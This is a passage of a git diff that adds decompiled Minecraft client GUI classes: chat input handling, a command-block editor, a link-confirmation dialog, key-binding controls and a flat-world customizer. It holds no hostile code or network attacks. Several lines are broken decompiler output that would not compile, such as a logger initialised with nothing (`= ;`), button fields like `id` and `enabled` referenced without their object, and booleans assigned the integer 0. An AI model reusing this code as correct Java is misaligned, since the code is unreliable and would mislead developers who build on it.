+        mc.ingameGUI.getChatGUI().scroll(mc.ingameGUI.getChatGUI().getLineCount() - 1);
+      }
+      else if (keyCode == 209)
+      {
+        mc.ingameGUI.getChatGUI().scroll(-mc.ingameGUI.getChatGUI().getLineCount() + 1);
+      }
+      else
+      {
+        inputField.textboxKeyTyped(typedChar, keyCode);
+      }
+    }
+    else
+    {
+      String var3 = inputField.getText().trim();
+      
+      if (var3.length() > 0)
+      {
+        func_175275_f(var3);
+      }
+      
+      mc.displayGuiScreen(null);
+    }
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    super.handleMouseInput();
+    int var1 = Mouse.getEventDWheel();
+    
+    if (var1 != 0)
+    {
+      if (var1 > 1)
+      {
+        var1 = 1;
+      }
+      
+      if (var1 < -1)
+      {
+        var1 = -1;
+      }
+      
+      if (!isShiftKeyDown())
+      {
+        var1 *= 7;
+      }
+      
+      mc.ingameGUI.getChatGUI().scroll(var1);
+    }
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    if (mouseButton == 0)
+    {
+      IChatComponent var4 = mc.ingameGUI.getChatGUI().getChatComponent(Mouse.getX(), Mouse.getY());
+      
+      if (func_175276_a(var4))
+      {
+        return;
+      }
+    }
+    
+    inputField.mouseClicked(mouseX, mouseY, mouseButton);
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+  }
+  
+  protected void func_175274_a(String p_175274_1_, boolean p_175274_2_)
+  {
+    if (p_175274_2_)
+    {
+      inputField.setText(p_175274_1_);
+    }
+    else
+    {
+      inputField.writeText(p_175274_1_);
+    }
+  }
+  
+
+
+  public void autocompletePlayerNames()
+  {
+    if (playerNamesFound)
+    {
+      inputField.deleteFromCursor(inputField.func_146197_a(-1, inputField.getCursorPosition(), false) - inputField.getCursorPosition());
+      
+      if (autocompleteIndex >= foundPlayerNames.size())
+      {
+        autocompleteIndex = 0;
+      }
+    }
+    else
+    {
+      int var1 = inputField.func_146197_a(-1, inputField.getCursorPosition(), false);
+      foundPlayerNames.clear();
+      autocompleteIndex = 0;
+      String var2 = inputField.getText().substring(var1).toLowerCase();
+      String var3 = inputField.getText().substring(0, inputField.getCursorPosition());
+      sendAutocompleteRequest(var3, var2);
+      
+      if (foundPlayerNames.isEmpty())
+      {
+        return;
+      }
+      
+      playerNamesFound = true;
+      inputField.deleteFromCursor(var1 - inputField.getCursorPosition());
+    }
+    
+    if (foundPlayerNames.size() > 1)
+    {
+      StringBuilder var4 = new StringBuilder();
+      String var3;
+      for (Iterator var5 = foundPlayerNames.iterator(); var5.hasNext(); var4.append(var3))
+      {
+        var3 = (String)var5.next();
+        
+        if (var4.length() > 0)
+        {
+          var4.append(", ");
+        }
+      }
+      
+      mc.ingameGUI.getChatGUI().printChatMessageWithOptionalDeletion(new ChatComponentText(var4.toString()), 1);
+    }
+    
+    inputField.writeText((String)foundPlayerNames.get(autocompleteIndex++));
+  }
+  
+  private void sendAutocompleteRequest(String p_146405_1_, String p_146405_2_)
+  {
+    if (p_146405_1_.length() >= 1)
+    {
+      net.minecraft.util.BlockPos var3 = null;
+      
+      if ((mc.objectMouseOver != null) && (mc.objectMouseOver.typeOfHit == net.minecraft.util.MovingObjectPosition.MovingObjectType.BLOCK))
+      {
+        var3 = mc.objectMouseOver.func_178782_a();
+      }
+      
+      mc.thePlayer.sendQueue.addToSendQueue(new net.minecraft.network.play.client.C14PacketTabComplete(p_146405_1_, var3));
+      waitingOnAutocomplete = true;
+    }
+  }
+  
+
+
+
+
+  public void getSentHistory(int p_146402_1_)
+  {
+    int var2 = sentHistoryCursor + p_146402_1_;
+    int var3 = mc.ingameGUI.getChatGUI().getSentMessages().size();
+    var2 = MathHelper.clamp_int(var2, 0, var3);
+    
+    if (var2 != sentHistoryCursor)
+    {
+      if (var2 == var3)
+      {
+        sentHistoryCursor = var3;
+        inputField.setText(historyBuffer);
+      }
+      else
+      {
+        if (sentHistoryCursor == var3)
+        {
+          historyBuffer = inputField.getText();
+        }
+        
+        inputField.setText((String)mc.ingameGUI.getChatGUI().getSentMessages().get(var2));
+        sentHistoryCursor = var2;
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawRect(2.0D, height - 14, width - 2, height - 2, Integer.MIN_VALUE);
+    inputField.drawTextBox();
+    IChatComponent var4 = mc.ingameGUI.getChatGUI().getChatComponent(Mouse.getX(), Mouse.getY());
+    
+    if ((var4 != null) && (var4.getChatStyle().getChatHoverEvent() != null))
+    {
+      func_175272_a(var4, mouseX, mouseY);
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  public void onAutocompleteResponse(String[] p_146406_1_)
+  {
+    if (waitingOnAutocomplete)
+    {
+      playerNamesFound = false;
+      foundPlayerNames.clear();
+      String[] var2 = p_146406_1_;
+      int var3 = p_146406_1_.length;
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        String var5 = var2[var4];
+        
+        if (var5.length() > 0)
+        {
+          foundPlayerNames.add(var5);
+        }
+      }
+      
+      String var6 = inputField.getText().substring(inputField.func_146197_a(-1, inputField.getCursorPosition(), false));
+      String var7 = org.apache.commons.lang3.StringUtils.getCommonPrefix(p_146406_1_);
+      
+      if ((var7.length() > 0) && (!var6.equalsIgnoreCase(var7)))
+      {
+        inputField.deleteFromCursor(inputField.func_146197_a(-1, inputField.getCursorPosition(), false) - inputField.getCursorPosition());
+        inputField.writeText(var7);
+      }
+      else if (foundPlayerNames.size() > 0)
+      {
+        playerNamesFound = true;
+        autocompletePlayerNames();
+      }
+    }
+  }
+  
+
+
+
+  public boolean doesGuiPauseGame()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy.java b/src/minecraft/net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy.java
new file mode 100644
index 0000000..8e25c80
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy.java
@@ -0,0 +1,118 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.realms.RealmsClickableScrolledSelectionList;
+import net.minecraft.realms.Tezzelator;
+import org.lwjgl.input.Mouse;
+
+public class GuiClickableScrolledSelectionListProxy extends GuiSlot
+{
+  private final RealmsClickableScrolledSelectionList field_178046_u;
+  private static final String __OBFID = "CL_00001939";
+  
+  public GuiClickableScrolledSelectionListProxy(RealmsClickableScrolledSelectionList p_i45526_1_, int p_i45526_2_, int p_i45526_3_, int p_i45526_4_, int p_i45526_5_, int p_i45526_6_)
+  {
+    super(Minecraft.getMinecraft(), p_i45526_2_, p_i45526_3_, p_i45526_4_, p_i45526_5_, p_i45526_6_);
+    field_178046_u = p_i45526_1_;
+  }
+  
+  protected int getSize()
+  {
+    return field_178046_u.getItemCount();
+  }
+  
+
+
+
+  protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY)
+  {
+    field_178046_u.selectItem(slotIndex, isDoubleClick, mouseX, mouseY);
+  }
+  
+
+
+
+  protected boolean isSelected(int slotIndex)
+  {
+    return field_178046_u.isSelectedItem(slotIndex);
+  }
+  
+  protected void drawBackground()
+  {
+    field_178046_u.renderBackground();
+  }
+  
+  protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+  {
+    field_178046_u.renderItem(p_180791_1_, p_180791_2_, p_180791_3_, p_180791_4_, p_180791_5_, p_180791_6_);
+  }
+  
+  public int func_178044_e()
+  {
+    return width;
+  }
+  
+  public int func_178042_f()
+  {
+    return mouseY;
+  }
+  
+  public int func_178045_g()
+  {
+    return mouseX;
+  }
+  
+
+
+
+  protected int getContentHeight()
+  {
+    return field_178046_u.getMaxPosition();
+  }
+  
+  protected int getScrollBarX()
+  {
+    return field_178046_u.getScrollbarPosition();
+  }
+  
+  public void func_178039_p()
+  {
+    super.func_178039_p();
+    
+    if ((scrollMultiplier > 0.0F) && (Mouse.getEventButtonState()))
+    {
+      field_178046_u.customMouseEvent(top, bottom, headerPadding, amountScrolled, slotHeight);
+    }
+  }
+  
+  public void func_178043_a(int p_178043_1_, int p_178043_2_, int p_178043_3_, Tezzelator p_178043_4_)
+  {
+    field_178046_u.renderSelected(p_178043_1_, p_178043_2_, p_178043_3_, p_178043_4_);
+  }
+  
+
+
+
+  protected void drawSelectionBox(int p_148120_1_, int p_148120_2_, int p_148120_3_, int p_148120_4_)
+  {
+    int var5 = getSize();
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      int var7 = p_148120_2_ + var6 * slotHeight + headerPadding;
+      int var8 = slotHeight - 4;
+      
+      if ((var7 > bottom) || (var7 + var8 < top))
+      {
+        func_178040_a(var6, p_148120_1_, var7);
+      }
+      
+      if ((showSelectionBox) && (isSelected(var6)))
+      {
+        func_178043_a(width, var7, var8, Tezzelator.instance);
+      }
+      
+      drawSlot(var6, p_148120_1_, var7, var8, p_148120_3_, p_148120_4_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiCommandBlock.java b/src/minecraft/net/minecraft/client/gui/GuiCommandBlock.java
new file mode 100644
index 0000000..2dcbfb8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiCommandBlock.java
@@ -0,0 +1,190 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.command.server.CommandBlockLogic;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.client.C17PacketCustomPayload;
+import net.minecraft.util.IChatComponent;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.input.Keyboard;
+
+public class GuiCommandBlock extends GuiScreen
+{
+  private static final Logger field_146488_a = ;
+  
+  private GuiTextField commandTextField;
+  
+  private GuiTextField field_146486_g;
+  
+  private final CommandBlockLogic localCommandBlock;
+  
+  private GuiButton doneBtn;
+  
+  private GuiButton cancelBtn;
+  
+  private GuiButton field_175390_s;
+  private boolean field_175389_t;
+  private static final String __OBFID = "CL_00000748";
+  
+  public GuiCommandBlock(CommandBlockLogic p_i45032_1_)
+  {
+    localCommandBlock = p_i45032_1_;
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    commandTextField.updateCursorCounter();
+  }
+  
+
+
+
+  public void initGui()
+  {
+    Keyboard.enableRepeatEvents(true);
+    buttonList.clear();
+    buttonList.add(this.doneBtn = new GuiButton(0, width / 2 - 4 - 150, height / 4 + 120 + 12, 150, 20, I18n.format("gui.done", new Object[0])));
+    buttonList.add(this.cancelBtn = new GuiButton(1, width / 2 + 4, height / 4 + 120 + 12, 150, 20, I18n.format("gui.cancel", new Object[0])));
+    buttonList.add(this.field_175390_s = new GuiButton(4, width / 2 + 150 - 20, 150, 20, 20, "O"));
+    commandTextField = new GuiTextField(2, fontRendererObj, width / 2 - 150, 50, 300, 20);
+    commandTextField.setMaxStringLength(32767);
+    commandTextField.setFocused(true);
+    commandTextField.setText(localCommandBlock.getCustomName());
+    field_146486_g = new GuiTextField(3, fontRendererObj, width / 2 - 150, 150, 276, 20);
+    field_146486_g.setMaxStringLength(32767);
+    field_146486_g.setEnabled(false);
+    field_146486_g.setText("-");
+    field_175389_t = localCommandBlock.func_175571_m();
+    func_175388_a();
+    doneBtn.enabled = (commandTextField.getText().trim().length() > 0);
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      if (id == 1)
+      {
+        localCommandBlock.func_175573_a(field_175389_t);
+        mc.displayGuiScreen(null);
+      }
+      else if (id == 0)
+      {
+        PacketBuffer var2 = new PacketBuffer(io.netty.buffer.Unpooled.buffer());
+        var2.writeByte(localCommandBlock.func_145751_f());
+        localCommandBlock.func_145757_a(var2);
+        var2.writeString(commandTextField.getText());
+        var2.writeBoolean(localCommandBlock.func_175571_m());
+        mc.getNetHandler().addToSendQueue(new C17PacketCustomPayload("MC|AdvCdm", var2));
+        
+        if (!localCommandBlock.func_175571_m())
+        {
+          localCommandBlock.func_145750_b(null);
+        }
+        
+        mc.displayGuiScreen(null);
+      }
+      else if (id == 4)
+      {
+        localCommandBlock.func_175573_a(!localCommandBlock.func_175571_m());
+        func_175388_a();
+      }
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    commandTextField.textboxKeyTyped(typedChar, keyCode);
+    field_146486_g.textboxKeyTyped(typedChar, keyCode);
+    doneBtn.enabled = (commandTextField.getText().trim().length() > 0);
+    
+    if ((keyCode != 28) && (keyCode != 156))
+    {
+      if (keyCode == 1)
+      {
+        actionPerformed(cancelBtn);
+      }
+      
+    }
+    else {
+      actionPerformed(doneBtn);
+    }
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    commandTextField.mouseClicked(mouseX, mouseY, mouseButton);
+    field_146486_g.mouseClicked(mouseX, mouseY, mouseButton);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, I18n.format("advMode.setCommand", new Object[0]), width / 2, 20, 16777215);
+    drawString(fontRendererObj, I18n.format("advMode.command", new Object[0]), width / 2 - 150, 37, 10526880);
+    commandTextField.drawTextBox();
+    byte var4 = 75;
+    byte var5 = 0;
+    FontRenderer var10001 = fontRendererObj;
+    String var10002 = I18n.format("advMode.nearestPlayer", new Object[0]);
+    int var10003 = width / 2 - 150;
+    int var7 = var5 + 1;
+    drawString(var10001, var10002, var10003, var4 + var5 * fontRendererObj.FONT_HEIGHT, 10526880);
+    drawString(fontRendererObj, I18n.format("advMode.randomPlayer", new Object[0]), width / 2 - 150, var4 + var7++ * fontRendererObj.FONT_HEIGHT, 10526880);
+    drawString(fontRendererObj, I18n.format("advMode.allPlayers", new Object[0]), width / 2 - 150, var4 + var7++ * fontRendererObj.FONT_HEIGHT, 10526880);
+    drawString(fontRendererObj, I18n.format("advMode.allEntities", new Object[0]), width / 2 - 150, var4 + var7++ * fontRendererObj.FONT_HEIGHT, 10526880);
+    drawString(fontRendererObj, "", width / 2 - 150, var4 + var7++ * fontRendererObj.FONT_HEIGHT, 10526880);
+    
+    if (field_146486_g.getText().length() > 0)
+    {
+      int var6 = var4 + var7 * fontRendererObj.FONT_HEIGHT + 16;
+      drawString(fontRendererObj, I18n.format("advMode.previousOutput", new Object[0]), width / 2 - 150, var6, 10526880);
+      field_146486_g.drawTextBox();
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  private void func_175388_a()
+  {
+    if (localCommandBlock.func_175571_m())
+    {
+      field_175390_s.displayString = "O";
+      
+      if (localCommandBlock.getLastOutput() != null)
+      {
+        field_146486_g.setText(localCommandBlock.getLastOutput().getUnformattedText());
+      }
+    }
+    else
+    {
+      field_175390_s.displayString = "X";
+      field_146486_g.setText("-");
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiConfirmOpenLink.java b/src/minecraft/net/minecraft/client/gui/GuiConfirmOpenLink.java
new file mode 100644
index 0000000..5b7c6e7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiConfirmOpenLink.java
@@ -0,0 +1,72 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.client.resources.I18n;
+
+
+public class GuiConfirmOpenLink
+  extends GuiYesNo
+{
+  private final String openLinkWarning;
+  private final String copyLinkButtonText;
+  private final String linkText;
+  private boolean showSecurityWarning = true;
+  private static final String __OBFID = "CL_00000683";
+  
+  public GuiConfirmOpenLink(GuiYesNoCallback p_i1084_1_, String p_i1084_2_, int p_i1084_3_, boolean p_i1084_4_)
+  {
+    super(p_i1084_1_, I18n.format(p_i1084_4_ ? "chat.link.confirmTrusted" : "chat.link.confirm", new Object[0]), p_i1084_2_, p_i1084_3_);
+    confirmButtonText = I18n.format(p_i1084_4_ ? "chat.link.open" : "gui.yes", new Object[0]);
+    cancelButtonText = I18n.format(p_i1084_4_ ? "gui.cancel" : "gui.no", new Object[0]);
+    copyLinkButtonText = I18n.format("chat.copy", new Object[0]);
+    openLinkWarning = I18n.format("chat.link.warning", new Object[0]);
+    linkText = p_i1084_2_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    buttonList.add(new GuiButton(0, width / 2 - 50 - 105, height / 6 + 96, 100, 20, confirmButtonText));
+    buttonList.add(new GuiButton(2, width / 2 - 50, height / 6 + 96, 100, 20, copyLinkButtonText));
+    buttonList.add(new GuiButton(1, width / 2 - 50 + 105, height / 6 + 96, 100, 20, cancelButtonText));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (id == 2)
+    {
+      copyLinkToClipboard();
+    }
+    
+    parentScreen.confirmClicked(id == 0, parentButtonClickedId);
+  }
+  
+
+
+
+  public void copyLinkToClipboard()
+  {
+    setClipboardString(linkText);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    super.drawScreen(mouseX, mouseY, partialTicks);
+    
+    if (showSecurityWarning)
+    {
+      drawCenteredString(fontRendererObj, openLinkWarning, width / 2, 110, 16764108);
+    }
+  }
+  
+  public void disableSecurityWarning()
+  {
+    showSecurityWarning = false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiControls.java b/src/minecraft/net/minecraft/client/gui/GuiControls.java
new file mode 100644
index 0000000..64055e1
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiControls.java
@@ -0,0 +1,185 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+import net.minecraft.client.settings.KeyBinding;
+
+public class GuiControls extends GuiScreen
+{
+  private static final GameSettings.Options[] optionsArr = { GameSettings.Options.INVERT_MOUSE, GameSettings.Options.SENSITIVITY, GameSettings.Options.TOUCHSCREEN };
+  
+
+  private GuiScreen parentScreen;
+  
+
+  protected String screenTitle = "Controls";
+  
+
+  private GameSettings options;
+  
+
+  public KeyBinding buttonId = null;
+  public long time;
+  private GuiKeyBindingList keyBindingList;
+  private GuiButton buttonReset;
+  private static final String __OBFID = "CL_00000736";
+  
+  public GuiControls(GuiScreen p_i1027_1_, GameSettings p_i1027_2_)
+  {
+    parentScreen = p_i1027_1_;
+    options = p_i1027_2_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    keyBindingList = new GuiKeyBindingList(this, mc);
+    buttonList.add(new GuiButton(200, width / 2 - 155, height - 29, 150, 20, net.minecraft.client.resources.I18n.format("gui.done", new Object[0])));
+    buttonList.add(this.buttonReset = new GuiButton(201, width / 2 - 155 + 160, height - 29, 150, 20, net.minecraft.client.resources.I18n.format("controls.resetAll", new Object[0])));
+    screenTitle = net.minecraft.client.resources.I18n.format("controls.title", new Object[0]);
+    int var1 = 0;
+    GameSettings.Options[] var2 = optionsArr;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      GameSettings.Options var5 = var2[var4];
+      
+      if (var5.getEnumFloat())
+      {
+        buttonList.add(new GuiOptionSlider(var5.returnEnumOrdinal(), width / 2 - 155 + var1 % 2 * 160, 18 + 24 * (var1 >> 1), var5));
+      }
+      else
+      {
+        buttonList.add(new GuiOptionButton(var5.returnEnumOrdinal(), width / 2 - 155 + var1 % 2 * 160, 18 + 24 * (var1 >> 1), var5, options.getKeyBinding(var5)));
+      }
+      
+      var1++;
+    }
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    super.handleMouseInput();
+    keyBindingList.func_178039_p();
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (id == 200)
+    {
+      mc.displayGuiScreen(parentScreen);
+    }
+    else if (id == 201)
+    {
+      KeyBinding[] var2 = mc.gameSettings.keyBindings;
+      int var3 = var2.length;
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        KeyBinding var5 = var2[var4];
+        var5.setKeyCode(var5.getKeyCodeDefault());
+      }
+      
+      KeyBinding.resetKeyBindingArrayAndHash();
+    }
+    else if ((id < 100) && ((button instanceof GuiOptionButton)))
+    {
+      options.setOptionValue(((GuiOptionButton)button).returnEnumOptions(), 1);
+      displayString = options.getKeyBinding(GameSettings.Options.getEnumOptions(id));
+    }
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    if (buttonId != null)
+    {
+      options.setOptionKeyBinding(buttonId, -100 + mouseButton);
+      buttonId = null;
+      KeyBinding.resetKeyBindingArrayAndHash();
+    }
+    else if ((mouseButton != 0) || (!keyBindingList.func_148179_a(mouseX, mouseY, mouseButton)))
+    {
+      super.mouseClicked(mouseX, mouseY, mouseButton);
+    }
+  }
+  
+
+
+
+  protected void mouseReleased(int mouseX, int mouseY, int state)
+  {
+    if ((state != 0) || (!keyBindingList.func_148181_b(mouseX, mouseY, state)))
+    {
+      super.mouseReleased(mouseX, mouseY, state);
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    if (buttonId != null)
+    {
+      if (keyCode == 1)
+      {
+        options.setOptionKeyBinding(buttonId, 0);
+      }
+      else if (keyCode != 0)
+      {
+        options.setOptionKeyBinding(buttonId, keyCode);
+      }
+      else if (typedChar > 0)
+      {
+        options.setOptionKeyBinding(buttonId, typedChar + 'Ā');
+      }
+      
+      buttonId = null;
+      time = net.minecraft.client.Minecraft.getSystemTime();
+      KeyBinding.resetKeyBindingArrayAndHash();
+    }
+    else
+    {
+      super.keyTyped(typedChar, keyCode);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    keyBindingList.drawScreen(mouseX, mouseY, partialTicks);
+    drawCenteredString(fontRendererObj, screenTitle, width / 2, 8, 16777215);
+    boolean var4 = true;
+    KeyBinding[] var5 = options.keyBindings;
+    int var6 = var5.length;
+    
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      KeyBinding var8 = var5[var7];
+      
+      if (var8.getKeyCode() != var8.getKeyCodeDefault())
+      {
+        var4 = false;
+        break;
+      }
+    }
+    
+    buttonReset.enabled = (!var4);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiCreateFlatWorld.java b/src/minecraft/net/minecraft/client/gui/GuiCreateFlatWorld.java
new file mode 100644
index 0000000..58077c0
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiCreateFlatWorld.java
@@ -0,0 +1,253 @@
+package net.minecraft.client.gui;
+
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.gen.FlatGeneratorInfo;
+import net.minecraft.world.gen.FlatLayerInfo;
+
+public class GuiCreateFlatWorld extends GuiScreen
+{
+  private final GuiCreateWorld createWorldGui;
+  private FlatGeneratorInfo theFlatGeneratorInfo = FlatGeneratorInfo.getDefaultFlatGenerator();
+  private String field_146393_h;
+  private String field_146394_i;
+  private String field_146391_r;
+  private Details createFlatWorldListSlotGui;
+  private GuiButton field_146389_t;
+  private GuiButton field_146388_u;
+  private GuiButton field_146386_v;
+  private static final String __OBFID = "CL_00000687";
+  
+  public GuiCreateFlatWorld(GuiCreateWorld p_i1029_1_, String p_i1029_2_)
+  {
+    createWorldGui = p_i1029_1_;
+    func_146383_a(p_i1029_2_);
+  }
+  
+  public String func_146384_e()
+  {
+    return theFlatGeneratorInfo.toString();
+  }
+  
+  public void func_146383_a(String p_146383_1_)
+  {
+    theFlatGeneratorInfo = FlatGeneratorInfo.createFlatGeneratorFromString(p_146383_1_);
+  }
+  
+
+
+
+  public void initGui()
+  {
+    buttonList.clear();
+    field_146393_h = I18n.format("createWorld.customize.flat.title", new Object[0]);
+    field_146394_i = I18n.format("createWorld.customize.flat.tile", new Object[0]);
+    field_146391_r = I18n.format("createWorld.customize.flat.height", new Object[0]);
+    createFlatWorldListSlotGui = new Details();
+    buttonList.add(this.field_146389_t = new GuiButton(2, width / 2 - 154, height - 52, 100, 20, I18n.format("createWorld.customize.flat.addLayer", new Object[0]) + " (NYI)"));
+    buttonList.add(this.field_146388_u = new GuiButton(3, width / 2 - 50, height - 52, 100, 20, I18n.format("createWorld.customize.flat.editLayer", new Object[0]) + " (NYI)"));
+    buttonList.add(this.field_146386_v = new GuiButton(4, width / 2 - 155, height - 52, 150, 20, I18n.format("createWorld.customize.flat.removeLayer", new Object[0])));
+    buttonList.add(new GuiButton(0, width / 2 - 155, height - 28, 150, 20, I18n.format("gui.done", new Object[0])));
+    buttonList.add(new GuiButton(5, width / 2 + 5, height - 52, 150, 20, I18n.format("createWorld.customize.presets", new Object[0])));
+    buttonList.add(new GuiButton(1, width / 2 + 5, height - 28, 150, 20, I18n.format("gui.cancel", new Object[0])));
+    field_146389_t.visible = (field_146388_u.visible = 0);
+    theFlatGeneratorInfo.func_82645_d();
+    func_146375_g();
+  }
+  
+
+
+  public void handleMouseInput()
+    throws java.io.IOException
+  {
+    super.handleMouseInput();
+    createFlatWorldListSlotGui.func_178039_p();
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    int var2 = theFlatGeneratorInfo.getFlatLayers().size() - createFlatWorldListSlotGui.field_148228_k - 1;
+    
+    if (id == 1)
+    {
+      mc.displayGuiScreen(createWorldGui);
+    }
+    else if (id == 0)
+    {
+      createWorldGui.field_146334_a = func_146384_e();
+      mc.displayGuiScreen(createWorldGui);
+    }
+    else if (id == 5)
+    {
+      mc.displayGuiScreen(new GuiFlatPresets(this));
+    }
+    else if ((id == 4) && (func_146382_i()))
+    {
+      theFlatGeneratorInfo.getFlatLayers().remove(var2);
+      createFlatWorldListSlotGui.field_148228_k = Math.min(createFlatWorldListSlotGui.field_148228_k, theFlatGeneratorInfo.getFlatLayers().size() - 1);
+    }
+    
+    theFlatGeneratorInfo.func_82645_d();
+    func_146375_g();
+  }
+  
+  public void func_146375_g()
+  {
+    boolean var1 = func_146382_i();
+    field_146386_v.enabled = var1;
+    field_146388_u.enabled = var1;
+    field_146388_u.enabled = false;
+    field_146389_t.enabled = false;
+  }
+  
+  private boolean func_146382_i()
+  {
+    return (createFlatWorldListSlotGui.field_148228_k > -1) && (createFlatWorldListSlotGui.field_148228_k < theFlatGeneratorInfo.getFlatLayers().size());
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    createFlatWorldListSlotGui.drawScreen(mouseX, mouseY, partialTicks);
+    drawCenteredString(fontRendererObj, field_146393_h, width / 2, 8, 16777215);
+    int var4 = width / 2 - 92 - 16;
+    drawString(fontRendererObj, field_146394_i, var4, 32, 16777215);
+    drawString(fontRendererObj, field_146391_r, var4 + 2 + 213 - fontRendererObj.getStringWidth(field_146391_r), 32, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  class Details extends GuiSlot
+  {
+    public int field_148228_k = -1;
+    private static final String __OBFID = "CL_00000688";
+    
+    public Details()
+    {
+      super(width, height, 43, height - 60, 24);
+    }
+    
+    private void func_148225_a(int p_148225_1_, int p_148225_2_, ItemStack p_148225_3_)
+    {
+      func_148226_e(p_148225_1_ + 1, p_148225_2_ + 1);
+      GlStateManager.enableRescaleNormal();
+      
+      if ((p_148225_3_ != null) && (p_148225_3_.getItem() != null))
+      {
+        net.minecraft.client.renderer.RenderHelper.enableGUIStandardItemLighting();
+        itemRender.func_175042_a(p_148225_3_, p_148225_1_ + 2, p_148225_2_ + 2);
+        net.minecraft.client.renderer.RenderHelper.disableStandardItemLighting();
+      }
+      
+      GlStateManager.disableRescaleNormal();
+    }
+    
+    private void func_148226_e(int p_148226_1_, int p_148226_2_)
+    {
+      func_148224_c(p_148226_1_, p_148226_2_, 0, 0);
+    }
+    
+    private void func_148224_c(int p_148224_1_, int p_148224_2_, int p_148224_3_, int p_148224_4_)
+    {
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      mc.getTextureManager().bindTexture(Gui.statIcons);
+      float var5 = 0.0078125F;
+      float var6 = 0.0078125F;
+      boolean var7 = true;
+      boolean var8 = true;
+      Tessellator var9 = Tessellator.getInstance();
+      WorldRenderer var10 = var9.getWorldRenderer();
+      var10.startDrawingQuads();
+      var10.addVertexWithUV(p_148224_1_ + 0, p_148224_2_ + 18, zLevel, (p_148224_3_ + 0) * 0.0078125F, (p_148224_4_ + 18) * 0.0078125F);
+      var10.addVertexWithUV(p_148224_1_ + 18, p_148224_2_ + 18, zLevel, (p_148224_3_ + 18) * 0.0078125F, (p_148224_4_ + 18) * 0.0078125F);
+      var10.addVertexWithUV(p_148224_1_ + 18, p_148224_2_ + 0, zLevel, (p_148224_3_ + 18) * 0.0078125F, (p_148224_4_ + 0) * 0.0078125F);
